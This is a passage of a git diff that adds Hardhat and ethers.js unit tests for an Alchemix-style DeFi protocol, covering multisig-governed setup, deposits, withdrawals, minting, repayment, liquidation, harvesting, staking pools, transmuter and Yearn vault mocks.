+    transmuter = await transmuterFactory.deploy(alToken.address, daiToken.address, multiSigWallet.address);
+    await transmuter.deployed();
+
+    // Deploy yearnControllerMock
+    let yearnControllerMockFactory = await ethers.getContractFactory("YearnControllerMock");
+    yearnControllerMock = await yearnControllerMockFactory.deploy();
+    await yearnControllerMock.deployed();
+
+    // Deploy YearnVaultMock
+    let yearnVaultMockFactory = await ethers.getContractFactory("YearnVaultMock");
+    yearnVaultMock = await yearnVaultMockFactory.deploy(daiToken.address,yearnControllerMock.address);
+    await yearnVaultMock.deployed();
+
+    // Deploy YearnVaultMock
+    let yearnVaultAdapterFactory = await ethers.getContractFactory("YearnVaultAdapter");
+    yearnVaultAdapter = await yearnVaultAdapterFactory.deploy(yearnVaultMock.address,alchemist.address);
+    await yearnVaultAdapter.deployed();
+
+    // Set rewards
+    let payload = getPayLoad(multiSigWalletArtifact.abi,"setRewards",[user2.address],addressType); 
+    let submitTransaction = await multiSigWallet.submitTransaction(alchemist.address, 0, payload);
+    await submitTransaction.wait();
+
+    // SetTransmuter
+    payload = getPayLoad(multiSigWalletArtifact.abi,"setTransmuter",[transmuter.address],addressType);
+    submitTransaction = await multiSigWallet.submitTransaction(alchemist.address, 0, payload);
+    transactionReceipt = await submitTransaction.wait();
+    
+    // initialize
+    payload = getPayLoad(multiSigWalletArtifact.abi,"initialize",[yearnVaultAdapter.address],addressType);
+    submitTransaction = await multiSigWallet.submitTransaction(alchemist.address, 0, payload);
+    transactionReceipt = await submitTransaction.wait();
+
+    expect(await alchemist.initialized()).to.be.true;
+
+    // setFlushActivator
+    payload = getPayLoad(multiSigWalletArtifact.abi,"setFlushActivator",[10],uintType);
+    submitTransaction = await multiSigWallet.submitTransaction(alchemist.address, 0, payload);
+    transactionReceipt = await submitTransaction.wait();
+
+    expect(await alchemist.initialized()).to.be.true;
+
+    // Set whiteList for Transmuter
+    transmuterArtifact = await hre.artifacts.readArtifact("Transmuter");
+    let setWhitelistParameterType = ['address','bool'];
+    let setWhitelistParameterValue = [alchemist.address,true];
+    payload = getPayLoad(transmuterArtifact.abi,"setWhitelist",setWhitelistParameterValue,setWhitelistParameterType);
+    submitTransaction = await multiSigWallet.submitTransaction(transmuter.address, 0, payload);
+    transactionReceipt = await submitTransaction.wait();
+
+    expect(await transmuter.whiteList(alchemist.address)).to.be.true;
+
+  });
+
+  it('SetPendingGovernance', async function () {
+    // Get payload
+    const payload = getPayLoad(multiSigWalletArtifact.abi,"setPendingGovernance",[user2.address],addressType);
+
+    // Execute 
+    const submitTransaction = await multiSigWallet.submitTransaction(alchemist.address, 0, payload);
+    const transactionReceipt = await submitTransaction.wait();
+
+    // Chec result 
+    expect(await alchemist.pendingGovernance()).to.equal(user2.address);
+  }); 
+
+  it('AcceptGovernance', async function () {
+    // Get payload
+    const payload = getPayLoad(multiSigWalletArtifact.abi,"setPendingGovernance",[user2.address],addressType);
+
+    // Execute 
+    const submitTransaction = await multiSigWallet.submitTransaction(alchemist.address, 0, payload);
+    const transactionReceipt = await submitTransaction.wait();
+
+    // Call the  acceptGovernance
+    let alchemistUser2 = alchemist.connect(user2);
+    await alchemistUser2.acceptGovernance();
+
+    // Check result
+    expect(await alchemist.governance()).to.equal(user2.address);
+  });
+
+  it('VaultCount', async function () {
+    // Check result
+    expect(await alchemist.vaultCount()).to.equal(1);
+ 
+  }); 
+
+  it('GetVaultTotalDeposited', async function () {
+    // Check result
+    expect(await alchemist.getVaultTotalDeposited(0)).to.equal(0);
+
+  });  
+
+  it('Deposit && Withdraw && Mint', async function () {
+    let alchemistUser2 = alchemist.connect(user2);
+    await alchemistUser2.deposit(100);
+
+    // Check Balance
+    expect((await daiToken.balanceOf(yearnVaultMock.address)).toString()).to.equal("100");
+
+    // With draw
+    await alchemistUser2.withdraw(50);
+
+    // Check Balance
+    expect((await daiToken.balanceOf(yearnVaultMock.address)).toString()).to.equal("50");
+    expect((await daiToken.balanceOf(user2.address)).toString()).to.equal("950");
+
+    // Mint
+    await alchemistUser2.mint(25);
+
+    // Check mint result
+    expect((await alToken.balanceOf(user2.address)).toString()).to.equal("25");
+  });  
+  
+
+  it('Repay', async function () {
+    let alchemistUser2 = alchemist.connect(user2);
+    await alchemistUser2.deposit(100);
+
+    // Check Balance
+    expect((await daiToken.balanceOf(yearnVaultMock.address)).toString()).to.equal("100");
+
+    // With draw
+    await alchemistUser2.withdraw(50);
+
+    // Check Balance
+    expect((await daiToken.balanceOf(yearnVaultMock.address)).toString()).to.equal("50");
+    expect((await daiToken.balanceOf(user2.address)).toString()).to.equal("950");
+
+    // Mint
+    await alchemistUser2.mint(25);
+
+    // Check mint result
+    expect((await alToken.balanceOf(user2.address)).toString()).to.equal("25");
+
+    // Set approve for alchemist
+    let alTokenUser2 = alToken.connect(user2);
+    await alTokenUser2.approve(alchemist.address,10000);
+
+    await alchemistUser2.repay(10,15);
+
+    // Check repay result
+    expect((await daiToken.balanceOf(user2.address)).toString()).to.equal("940");
+    expect((await alToken.balanceOf(user2.address)).toString()).to.equal("10");
+  });  
+
+  it('Liquidate', async function () {
+    let alchemistUser2 = alchemist.connect(user2);
+    await alchemistUser2.deposit(100);
+
+    // Check Balance
+    expect((await daiToken.balanceOf(yearnVaultMock.address)).toString()).to.equal("100");
+
+    // Check Balance
+    expect((await daiToken.balanceOf(yearnVaultMock.address)).toString()).to.equal("100");
+    expect((await daiToken.balanceOf(user2.address)).toString()).to.equal("900");
+
+    // Mint
+    await alchemistUser2.mint(25);
+
+    // Check mint result
+    expect((await alToken.balanceOf(user2.address)).toString()).to.equal("25");
+
+    // Set approve for alchemist
+    let alTokenUser2 = alToken.connect(user2);
+    await alTokenUser2.approve(alchemist.address,10000);
+
+    await alchemistUser2.liquidate(25);
+
+    // Check repay result
+    expect((await alToken.balanceOf(user2.address)).toString()).to.equal("25");
+    expect(await alchemist.getCdpTotalDebt(user2.address)).to.equal(0);
+    expect(await alchemist.getCdpTotalDeposited(user2.address)).to.equal(75);
+  }); 
+
+
+  it('Harvest', async function () {
+    let alchemistUser2 = alchemist.connect(user2);
+    await alchemistUser2.deposit(100);
+
+    // Check Balance
+    expect((await daiToken.balanceOf(yearnVaultMock.address)).toString()).to.equal("100");
+    expect((await daiToken.balanceOf(user2.address)).toString()).to.equal("900");
+
+    // Mint
+    await alchemistUser2.mint(50);
+
+    // Mint for YearnVaultAdapter as profit
+    await daiToken.mint(yearnVaultAdapter.address,50);
+
+    // YearnVaultAdapter do the deposite
+    await yearnVaultAdapter.deposit(50);
+
+    // Check Balance
+    expect((await daiToken.balanceOf(yearnVaultMock.address)).toString()).to.equal("150");
+
+    // Check the fToken hasMinted
+    expect((await alToken.hasMinted(alchemist.address))).to.equal(50);
+
+    // Do alchemist harvest
+    await  alchemist.harvest(0);
+
+    // Check harvest result
+    expect((await daiToken.balanceOf(transmuter.address)).toString()).to.equal("50"); 
+
+    // Check the fToken hasMinted
+    expect((await alToken.hasMinted(alchemist.address))).to.equal(0);
+  
+  }); 
+
+});
diff --git a/defi/Alchemix/test/MultiSigWallet.js b/defi/Alchemix/test/MultiSigWallet.js
new file mode 100644
index 000000000..c32eb84a6
--- /dev/null
+++ b/defi/Alchemix/test/MultiSigWallet.js
@@ -0,0 +1,71 @@
+const { expect } = require("chai");
+
+
+
+function getPayLoad(contractABI,functionName,param){
+  for(let i=0;i<contractABI.length;i++){
+    const functionABI = contractABI[i];
+    if (functionName != functionABI.name) {
+      continue;
+    }
+    
+    //get sigHash of function
+    const interface = new ethers.utils.Interface(contractABI);
+    const functionSigHash = interface.getSighash(functionName);
+
+
+    //encode param
+    const abiCoder =new ethers.utils.AbiCoder()
+    const codeOfParam =  abiCoder.encode(['uint256'],[param])
+    
+    
+    //payload
+    const payload = functionSigHash + codeOfParam.substring(2,codeOfParam.length);
+    return payload;
+  }
+}
+
+describe("MultiSigWallet test",function(){
+  it("test function of MultiSigWallet.sol",async function(){
+    //测试账号数组
+    const [Alice,Bob,David] = await ethers.getSigners();
+    
+    //部署多签合约`MultiSigWallet.sol`
+    const MultiSigWallet = await ethers.getContractFactory("MultiSigWallet");
+    const multiSigWallet = await MultiSigWallet.deploy([Alice.address,Bob.address,David.address],1);
+    await multiSigWallet.deployed();
+    
+    //部署交易合约`Hello.sol`,该合约的交易只能由上面的那个合约触发
+    const Hello = await ethers.getContractFactory("Hello");
+    const hello = await Hello.deploy();
+    await hello.deployed();
+    
+    
+    //在多签钱包添加一笔交易
+    const tokenArtifact = await hre.artifacts.readArtifact("Hello");
+    const payload = getPayLoad(tokenArtifact.abi,"set",233);
+    const submitTransaction = await multiSigWallet.submitTransaction(hello.address, 0, payload);
+    const transactionReceipt = await submitTransaction.wait();
+
+    // Check the result
+    expect((await hello.balance()).toString()).to.equal("233");
+    //console.log("transactionReceipt:",transactionReceipt);
+    
+    
+    // await multiSigWallet.queryFilter("Submission" , transactionReceipt.blockNumber ,transactionReceipt.blockNumber)
+    // .then(e => console.log(e)).catch(err =>console.log(err));
+    
+    
+    //其他参与者同意
+    // await multiSigWallet.connect(Bob).confirmTransaction(Bob.address, 50);
+    
+    
+    
+    
+    // console.log("abi of hello:",tokenArtifact.abi);
+    
+    // const data = getPayLoad();
+    
+  });
+});
+
diff --git a/defi/Alchemix/test/StakingPools.js b/defi/Alchemix/test/StakingPools.js
new file mode 100644
index 000000000..421c8478f
--- /dev/null
+++ b/defi/Alchemix/test/StakingPools.js
@@ -0,0 +1,154 @@
+const { expect } = require("chai");
+const hre = require("hardhat");
+const { ethers } = hre;
+
+function getPayLoad(contractABI,functionName,param,type){
+  for(let i=0;i<contractABI.length;i++){
+    const functionABI = contractABI[i];
+    if (functionName != functionABI.name) {
+      continue;
+    }
+    
+    //get sigHash of function
+    const interface = new ethers.utils.Interface(contractABI);
+    const functionSigHash = interface.getSighash(functionName);
+
+
+    //encode param
+    const abiCoder =new ethers.utils.AbiCoder()
+    const codeOfParam =  abiCoder.encode(type,param)
+    
+    
+    //payload
+    const payload = functionSigHash + codeOfParam.substring(2,codeOfParam.length);
+    return payload;
+  }
+}
+
+describe("StakingPools contract", function () {
+  let stakingPools;
+  let daoToken;
+  let multiSigWallet;
+  let multiSigWalletArtifact;
+  let xToken;
+  let uniswapToken;
+  let godUser;
+  let user1;
+  let user2;
+  let user3;
+
+  beforeEach(async function () {
+    [godUser, user1, user2, user3] = await ethers.getSigners();
+
+    // Deploy daoToken
+    let daoTokenFactory = await ethers.getContractFactory('ERC20Mock');
+    daoToken = await daoTokenFactory.deploy('Dai', 'Dai', 18);
+    await daoToken.deployed();
+
+    // Deploy MultiSigWallet
+    let multiSigWalletFactory = await ethers.getContractFactory('MultiSigWallet');
+
+    // Config parameters
+    let owners = [godUser.address, user1.address];
+    let required = 1;
+
+    multiSigWallet = await multiSigWalletFactory.deploy(owners, required);
+    await multiSigWallet.deployed();
+
+    // Deploy StakingPools
+    let stakingPoolsFactory = await ethers.getContractFactory("StakingPools");
+    stakingPools = await stakingPoolsFactory.deploy(daoToken.address,multiSigWallet.address);
+    await stakingPools.deployed();
+    
+    multiSigWalletArtifact = await hre.artifacts.readArtifact("StakingPools");
+
+    // CreatePool
+    // Deploy xToken
+    let xTokenFactory = await ethers.getContractFactory('ERC20Mock');
+    xToken = await xTokenFactory.deploy('Dai', 'Dai', 18);
+    await xToken.deployed();
+
+    // Mint for godUser && user1
+    await xToken.mint(godUser.address,1000);
+    await xToken.mint(user1.address,1000);
+
+    // Set approve for stakingPools
+    await xToken.approve(stakingPools.address,1000);
+    let xTokenUser1 = xToken.connect(user1);
+    await xTokenUser1.approve(stakingPools.address,1000);
+
+    // Create payload to create xToken pool
+    let payload = getPayLoad(multiSigWalletArtifact.abi,"createPool",[xToken.address],['address']);
+    let submitTransaction = await multiSigWallet.submitTransaction(stakingPools.address, 0, payload);
+    let transactionReceipt = await submitTransaction.wait();
+
+    // Check result
+    expect((await stakingPools.tokenPoolIds(xToken.address))).to.equal(1);
+
+    // Deploy uniswapToken
+    let uniswapTokenFactory = await ethers.getContractFactory('ERC20Mock');
+    uniswapToken = await uniswapTokenFactory.deploy('Dai', 'Dai', 18);
+    await uniswapToken.deployed();
+
+    // Mint for godUser && user1
+    await uniswapToken.mint(godUser.address,1000);
+    await uniswapToken.mint(user1.address,1000);
+
+    // Set approve for stakingPools
+    await uniswapToken.approve(stakingPools.address,1000);
+    let uniswapTokenUser1 = uniswapToken.connect(user1);
+    await uniswapTokenUser1.approve(stakingPools.address,1000);
+
+    // Create payload to create uniswapToken pool
+    payload = getPayLoad(multiSigWalletArtifact.abi,"createPool",[uniswapToken.address],['address']);
+    submitTransaction = await multiSigWallet.submitTransaction(stakingPools.address, 0, payload);
+    transactionReceipt = await submitTransaction.wait();
+
+    // Check result
+    expect((await stakingPools.tokenPoolIds(uniswapToken.address))).to.equal(2);
+
+    // SetrewardRate
+    let rewardRate = 10;
+
+    // Create payload
+    payload = getPayLoad(multiSigWalletArtifact.abi,"setRewardRate",[rewardRate],['uint256']);
+    submitTransaction = await multiSigWallet.submitTransaction(stakingPools.address, 0, payload);
+    transactionReceipt = await submitTransaction.wait();
+
+    // Check rewardRate
+    expect((await stakingPools.rewardRate())).to.equal(10);
+
+    // SetRewardWeights
+    let weights = [10,20];
+
+    // Create payload
+    payload = getPayLoad(multiSigWalletArtifact.abi,"setRewardWeights",[weights],['uint256[]']);
+    submitTransaction = await multiSigWallet.submitTransaction(stakingPools.address, 0, payload);
+    transactionReceipt = await submitTransaction.wait();
+
+    // Check totalRewardWeight
+    expect((await stakingPools.totalRewardWeight())).to.equal(30);
+
+  });
+
+  it("Deposit & Withdraw", async function () {
+    // godUser go to deposite
+    await stakingPools.deposit(1,100);
+
+    // Wait for 10 seconds
+    console.log("Please wait 10 seconds")
+    let currentTimeStamp = parseInt(new Date().getTime() / 1000);
+    let endTimeStamp = currentTimeStamp + 10;
+    while (currentTimeStamp <= endTimeStamp) {
+      currentTimeStamp = parseInt(new Date().getTime() / 1000);
+    }
+
+    // WithDraw
+    await stakingPools.withdraw(1,100);
+
+    // Check the amount of daoToken
+    expect((await daoToken.balanceOf(godUser.address)).toString()).to.equal("6");
+  });  
+
+  
+});
diff --git a/defi/Alchemix/test/Transmuter.js b/defi/Alchemix/test/Transmuter.js
new file mode 100644
index 000000000..2d1991713
--- /dev/null
+++ b/defi/Alchemix/test/Transmuter.js
@@ -0,0 +1,225 @@
+const { expect } = require('chai');
+const hre = require('hardhat');
+const { ethers } = hre;
+
+function getPayLoad(contractABI,functionName,param,type){
+  for(let i=0;i<contractABI.length;i++){
+    const functionABI = contractABI[i];
+    if (functionName != functionABI.name) {
+      continue;
+    }
+    
+    //get sigHash of function
+    const interface = new ethers.utils.Interface(contractABI);
+    const functionSigHash = interface.getSighash(functionName);
+
+
+    //encode param
+    const abiCoder =new ethers.utils.AbiCoder()
+    const codeOfParam =  abiCoder.encode(type,param)
+    
+    
+    //payload
+    const payload = functionSigHash + codeOfParam.substring(2,codeOfParam.length);
+    return payload;
+  }
+}
+
+describe('Transmuter contract', function () {
+  let multiSigWallet;
+  let transmuterArtifact;
+  let daiToken;
+  let alToken;
+  let transmuter;
+  let godUser;
+  let user1;
+  let user2;
+  let user3;
+
+
+  beforeEach(async function () {
+    [godUser, user1, user2, user3] = await ethers.getSigners();
+
+    // Deploy MultiSigWallet
+    let multiSigWalletFactory = await ethers.getContractFactory('MultiSigWallet');
+
+    // Config parameters
+    let owners = [godUser.address, user1.address];
+    let required = 1;
+
+    multiSigWallet = await multiSigWalletFactory.deploy(owners, required);
+    await multiSigWallet.deployed();
+
+    // Deploy daiToken
+    let daiTokenFactory = await ethers.getContractFactory('ERC20Mock');
+    daiToken = await daiTokenFactory.deploy('Dai', 'Dai', 18);
+    await daiToken.deployed();
+
+    // Mint for godUser 
+    await daiToken.mint(godUser.address,1000);
+    await daiToken.mint(user2.address,1000);
+
+    // Deploy AlToken
+    let alTokenFactory = await ethers.getContractFactory('AlToken');
+    alToken = await alTokenFactory.deploy();
+    await alToken.deployed();
+
+    // Set goduser into the WhiteList
+    await alToken.setWhitelist(godUser.address, true);
+
+    // Set ceiling for user2 and alchemist
+    await alToken.setCeiling(godUser.address,100000);
+    await alToken.setCeiling(user2.address,100000);
+
+    // Mint alToken for godUser
+    await alToken.mint(godUser.address,1000);
+    await alToken.mint(user2.address,1000);
+
+    // Deploy Transmuter
+    let transmuterFactory = await ethers.getContractFactory('Transmuter');
+    transmuter = await transmuterFactory.deploy(alToken.address, daiToken.address, multiSigWallet.address);
+    await transmuter.deployed();
+
+    // Approve transmuter to transfer for godUser
+    await daiToken.approve(transmuter.address,1000);
+    let daiTokenUser2 = daiToken.connect(user2);
+    await daiTokenUser2.approve(transmuter.address,1000);
+
+    // Approve transmuter to transfer for godUser
+    await alToken.approve(transmuter.address,1000);
+    let alTokenUser2 = alToken.connect(user2);
+    await alTokenUser2.approve(transmuter.address,1000);
+
+    // Set whiteList for Transmuter
+    transmuterArtifact = await hre.artifacts.readArtifact("Transmuter");
+    let setWhitelistParameterType = ['address','bool'];
+    let setWhitelistParameterValue = [godUser.address,true];
+    payload = getPayLoad(transmuterArtifact.abi,"setWhitelist",setWhitelistParameterValue,setWhitelistParameterType);
+    submitTransaction = await multiSigWallet.submitTransaction(transmuter.address, 0, payload);
+    transactionReceipt = await submitTransaction.wait();
+
+    expect(await transmuter.whiteList(godUser.address)).to.be.true;
+
+    // Set whiteList for Transmuter
+    let transmutationPeriodType = ['uint256'];
+    let transmutationPeriodTypeValue = [0];
+    payload = getPayLoad(transmuterArtifact.abi,"setTransmutationPeriod",transmutationPeriodTypeValue,transmutationPeriodType);
+    submitTransaction = await multiSigWallet.submitTransaction(transmuter.address, 0, payload);
+    transactionReceipt = await submitTransaction.wait();
+
+    expect(await transmuter.TRANSMUTATION_PERIOD()).to.equal(0);
+
+  });
+
+  it('Distribute', async function () {
+    await transmuter.distribute(godUser.address,100);
+
+    // Check buffered
+    expect(await transmuter.buffer()).to.equal(100); 
+
+  }); 
+
+  it('Stake && Unstake', async function () {
+    let transmuterUser2 = transmuter.connect(user2);
+    await transmuterUser2.stake(100);
+
+    // God User to distribute
+    expect((await transmuter.unclaimedDividends()).toString()).to.equal("0");
+    expect((await transmuter.totalDividendPoints()).toString()).to.equal("0");
+    await transmuter.distribute(godUser.address,100);
+
+    // First User2 to stake
+    expect((await transmuter.unclaimedDividends()).toString()).to.equal("0");
+    expect((await transmuter.totalDividendPoints()).toString()).to.equal("0");
+    transmuterUser2 = transmuter.connect(user2);
+    
+    expect((await transmuter.dividendsOwing(user2.address)).toString()).to.equal("0");
+    //await transmuterUser2.stake(100);
+    await transmuter.distribute(godUser.address,100);
+
+    expect((await transmuter.dividendsOwing(user2.address)).toString()).to.equal("100");
+    expect((await transmuter.pointMultiplier()).toString()).to.equal("10000000000000000000");
+    expect((await transmuter.totalSupplyAltokens()).toString()).to.equal("100");
+    expect((await transmuter.unclaimedDividends()).toString()).to.equal("100");
+    expect((await transmuter.totalDividendPoints()).toString()).to.equal("10000000000000000000");
+    expect((await transmuter.tokensInBucket(user2.address)).toString()).to.equal("0");
+
+    // Unstake
+    await transmuterUser2.unstake(100);
+
+    // Check result
+    expect((await transmuter.totalSupplyAltokens()).toString()).to.equal("0");
+    expect((await transmuter.depositedAlTokens(user2.address)).toString()).to.equal("0");
+
+  });  
+
+  it('Transmute && Claim', async function () {
+    let transmuterUser2 = transmuter.connect(user2);
+    await transmuterUser2.stake(100);
+
+    // God User to distribute
+    expect((await transmuter.unclaimedDividends()).toString()).to.equal("0");
+    expect((await transmuter.totalDividendPoints()).toString()).to.equal("0");
+    await transmuter.distribute(godUser.address,100);
+
+    // First User2 to stake
+    expect((await transmuter.unclaimedDividends()).toString()).to.equal("0");
+    expect((await transmuter.totalDividendPoints()).toString()).to.equal("0");
+    expect((await transmuter.dividendsOwing(user2.address)).toString()).to.equal("0");
+
+    await transmuterUser2.stake(100);
+
+    expect((await transmuter.dividendsOwing(user2.address)).toString()).to.equal("0");
+    expect((await transmuter.pointMultiplier()).toString()).to.equal("10000000000000000000");
+    expect((await transmuter.totalSupplyAltokens()).toString()).to.equal("200");
+    expect((await transmuter.unclaimedDividends()).toString()).to.equal("0");
+    expect((await transmuter.totalDividendPoints()).toString()).to.equal("10000000000000000000");
+    expect((await transmuter.tokensInBucket(user2.address)).toString()).to.equal("100");
+
+    // Transmute
+    await transmuterUser2.transmute();
+
+    // Check result
+    expect((await transmuter.realisedTokens(user2.address)).toString()).to.equal("100");
+
+    // claim
+    await transmuterUser2.claim();
+
+    // Check result
+    expect((await daiToken.balanceOf(user2.address)).toString()).to.equal("1100");
+
+  });  
+
+  it('ForceTransmute', async function () {
+    let transmuterUser2 = transmuter.connect(user2);
+    await transmuterUser2.stake(100);
+
+    // God User to distribute
+    expect((await transmuter.unclaimedDividends()).toString()).to.equal("0");
+    expect((await transmuter.totalDividendPoints()).toString()).to.equal("0");
+    await transmuter.distribute(godUser.address,200);
+
+    // First User2 to stake
+    expect((await transmuter.unclaimedDividends()).toString()).to.equal("0");
+    expect((await transmuter.totalDividendPoints()).toString()).to.equal("0");
+    expect((await transmuter.dividendsOwing(user2.address)).toString()).to.equal("0");
+
+    await transmuterUser2.stake(10);
+
+    expect((await transmuter.dividendsOwing(user2.address)).toString()).to.equal("0");
+    expect((await transmuter.pointMultiplier()).toString()).to.equal("10000000000000000000");
+    expect((await transmuter.totalSupplyAltokens()).toString()).to.equal("110");
+    expect((await transmuter.unclaimedDividends()).toString()).to.equal("0");
+    expect((await transmuter.totalDividendPoints()).toString()).to.equal("20000000000000000000");
+    expect((await transmuter.tokensInBucket(user2.address)).toString()).to.equal("200");
+
+    // Transmute
+    await transmuter.forceTransmute(user2.address);
+
+    // Check result
+    expect((await daiToken.balanceOf(user2.address)).toString()).to.equal("1110");
+
+  }); 
+
+
+});
diff --git a/defi/Alchemix/test/YearnVaultAdapter.js b/defi/Alchemix/test/YearnVaultAdapter.js
new file mode 100644
index 000000000..2a9c637e0
--- /dev/null
+++ b/defi/Alchemix/test/YearnVaultAdapter.js
@@ -0,0 +1,78 @@
+const { expect } = require("chai");
+const hre = require("hardhat");
+const { ethers } = hre;
+
+describe("YearnVaultAdapter contract", function () {
+  let daiToken;
+  let yearnControllerMock;
+  let yearnVaultMock;
+  let godUser;
+  let user1;
+  let user2;
+  let user3;
+
+  beforeEach(async function () {
+    [godUser, user1, user2, user3] = await ethers.getSigners();
+
+    // Deploy daiToken
+    let daiTokenFactory = await ethers.getContractFactory("ERC20Mock");
+    daiToken = await daiTokenFactory.deploy("Dai","Dai",18);
+    await daiToken.deployed();
+
+    // Deploy yearnControllerMock
+    let yearnControllerMockFactory = await ethers.getContractFactory("YearnControllerMock");
+    yearnControllerMock = await yearnControllerMockFactory.deploy();
+    await yearnControllerMock.deployed();
+
+    // Deploy YearnVaultMock
+    let yearnVaultMockFactory = await ethers.getContractFactory("YearnVaultMock");
+    yearnVaultMock = await yearnVaultMockFactory.deploy(daiToken.address,yearnControllerMock.address);
+    await yearnVaultMock.deployed();
+
+    // Deploy YearnVaultMock
+    let yearnVaultAdapterFactory = await ethers.getContractFactory("YearnVaultAdapter");
+    yearnVaultAdapter = await yearnVaultAdapterFactory.deploy(yearnVaultMock.address,godUser.address);
+    await yearnVaultAdapter.deployed();
+
+  });
+
+  it("Deposit", async function () {
+    // Mint for yearnVaultAdapter
+    await daiToken.mint(yearnVaultAdapter.address,1000);
+
+    // Do the deposite
+    await yearnVaultAdapter.deposit(100);
+
+    // Check the result
+    expect(await yearnVaultMock.balanceOf(yearnVaultAdapter.address)).to.equal(100);
+  }); 
+
+  it("TotalValue", async function () {
+    // Mint for yearnVaultAdapter
+    await daiToken.mint(yearnVaultAdapter.address,1000);
+
+    // Do the deposite
+    await yearnVaultAdapter.deposit(100);
+
+    // Check the result
+    expect(await yearnVaultAdapter.totalValue()).to.equal(100);
+  }); 
+
+  it("Withdraw", async function () {
+    // Mint for yearnVaultAdapter
+    await daiToken.mint(yearnVaultAdapter.address,1000);
+
+    // Do the deposite
+    await yearnVaultAdapter.deposit(100);
+
+    // Check the result
+    expect(await yearnVaultAdapter.totalValue()).to.equal(100);
+
+    // Withdraw
+    await yearnVaultAdapter.withdraw(user2.address,100);
+
+    // Check the result
+    expect(await daiToken.balanceOf(user2.address)).to.equal(100);
+  });
+
+});
diff --git a/defi/Alchemix/test/YearnVaultAdapterWithIndirection.js b/defi/Alchemix/test/YearnVaultAdapterWithIndirection.js
new file mode 100644
index 000000000..2a8777057
--- /dev/null
+++ b/defi/Alchemix/test/YearnVaultAdapterWithIndirection.js
@@ -0,0 +1,56 @@
+const { expect } = require("chai");
+const hre = require("hardhat");
+const { ethers } = hre;
+
+describe("YearnVaultAdapterWithIndirection contract", function () {
+  let daiToken;
+  let yearnControllerMock;
+  let yearnVaultMock;
+  let godUser;
+  let user1;
+  let user2;
+  let user3;
+
+  beforeEach(async function () {
+    [godUser, user1, user2, user3] = await ethers.getSigners();
+
+    // Deploy daiToken
+    let daiTokenFactory = await ethers.getContractFactory("ERC20Mock");
+    daiToken = await daiTokenFactory.deploy("Dai","Dai",18);
+    await daiToken.deployed();
+
+    // Deploy yearnControllerMock
+    let yearnControllerMockFactory = await ethers.getContractFactory("YearnControllerMock");
+    yearnControllerMock = await yearnControllerMockFactory.deploy();
+    await yearnControllerMock.deployed();
+
+    // Deploy YearnVaultMock
+    let yearnVaultMockFactory = await ethers.getContractFactory("YearnVaultMock");
+    yearnVaultMock = await yearnVaultMockFactory.deploy(daiToken.address,yearnControllerMock.address);
+    await yearnVaultMock.deployed();
+
+    // Deploy YearnVaultMock
+    let yearnVaultAdapterWithIndirectionFactory = await ethers.getContractFactory("YearnVaultAdapterWithIndirection");
+    yearnVaultAdapterWithIndirection = await yearnVaultAdapterWithIndirectionFactory.deploy(yearnVaultMock.address,godUser.address);
+    await yearnVaultAdapterWithIndirection.deployed();
+
+  });
+
+  it("IndirectWithdraw", async function () {
+    // Mint for yearnVaultAdapter
+    await daiToken.mint(yearnVaultAdapterWithIndirection.address,1000);
+
+    // Do the deposite
+    await yearnVaultAdapterWithIndirection.deposit(100);
+
+    // Check the result
+    expect(await yearnVaultAdapterWithIndirection.totalValue()).to.equal(100);
+
+    // Withdraw
+    await yearnVaultAdapterWithIndirection.withdraw(user2.address,30);
+
+    // Check the result
+    expect(await daiToken.balanceOf(user2.address)).to.equal(30);
+  });
+
+});
diff --git a/defi/Alchemix/test/YearnVaultMock.js b/defi/Alchemix/test/YearnVaultMock.js
new file mode 100644
index 000000000..75a179478
--- /dev/null
+++ b/defi/Alchemix/test/YearnVaultMock.js
@@ -0,0 +1,134 @@
+const { expect } = require("chai");
+const hre = require("hardhat");
+const { ethers } = hre;
+
+describe("YearnVaultMock contract", function () {
+  let daiToken;
+  let yearnControllerMock;
+  let yearnVaultMock;
+  let godUser;
+  let user1;
+  let user2;
+  let user3;
+
+  beforeEach(async function () {
+    [godUser, user1, user2, user3] = await ethers.getSigners();
+
+    // Deploy daiToken
+    let daiTokenFactory = await ethers.getContractFactory("ERC20Mock");
+    daiToken = await daiTokenFactory.deploy("Dai","Dai",18);
+    await daiToken.deployed();
+
+    // Deploy yearnControllerMock
+    let yearnControllerMockFactory = await ethers.getContractFactory("YearnControllerMock");
+    yearnControllerMock = await yearnControllerMockFactory.deploy();
+    await yearnControllerMock.deployed();
+
+    // Deploy YearnVaultMock
+    let yearnVaultMockFactory = await ethers.getContractFactory("YearnVaultMock");
+    yearnVaultMock = await yearnVaultMockFactory.deploy(daiToken.address,yearnControllerMock.address);
+    await yearnVaultMock.deployed();
+
+  });
+
+  it("Vdecimals", async function () {
+    // Set WhiteList for user2
+    expect(await yearnVaultMock.vdecimals()).to.equal(18);
+  });
+
+  it("Deposit", async function () {
+    // Mint for godUser
+    await daiToken.mint(godUser.address,1000);
+
+    // Arpprove yearnVaultMock to do the transnfer
+    await daiToken.approve(yearnVaultMock.address,1000);
+
+    // Deposite to yearnVaultMock
+    await yearnVaultMock.deposit(100);
+
+    // Set WhiteList for user2
+    expect(await yearnVaultMock.balance()).to.equal(100);
+  }); 
+
+  it("Earn", async function () {
+    // Mint for yearnVaultMock
+    await daiToken.mint(yearnVaultMock.address,1000);
+
+    // Do the earn
+    await yearnVaultMock.earn();
+
+    // Set WhiteList for user2
+    expect(await daiToken.balanceOf(yearnControllerMock.address)).to.equal(950);
+  }); 
+
+  it("Withdraw", async function () {
+    // Mint for godUser
+    await daiToken.mint(godUser.address,100);
+
+    // Mint for user2
+    await daiToken.mint(user2.address,100);
+
+    // Arpprove yearnVaultMock to do the transnfer
+    await daiToken.approve(yearnVaultMock.address,1000);
+
+    let daiTokenUser2 = daiToken.connect(user2);
+
+    // Arpprove yearnVaultMock to do the transnfer
+    await daiTokenUser2.approve(yearnVaultMock.address,1000);
+
+    // Deposite to yearnVaultMock
+    await yearnVaultMock.deposit(100);
+
+    // User2 yarnValutMock
+    let yearnVaultMockUser2 = yearnVaultMock.connect(user2);
+
+    // Deposite to yearnVaultMock
+    await yearnVaultMockUser2.deposit(100);
+
+    // Set WhiteList for user2
+    expect(await yearnVaultMock.balanceOf(user2.address)).to.equal(100);
+
+    // WithDraw
+    await yearnVaultMock.withdraw(20,user2.address);
+
+    // Check result
+    expect(await daiToken.balanceOf(user2.address)).to.equal(20);
+    expect(await daiToken.balanceOf(yearnVaultMock.address)).to.equal(180);
+  }); 
+
+  it("Clear", async function () {
+    // Mint for godUser
+    await daiToken.mint(godUser.address,100);
+
+    // Mint for user2
+    await daiToken.mint(user2.address,100);
+
+    // Arpprove yearnVaultMock to do the transnfer
+    await daiToken.approve(yearnVaultMock.address,1000);
+
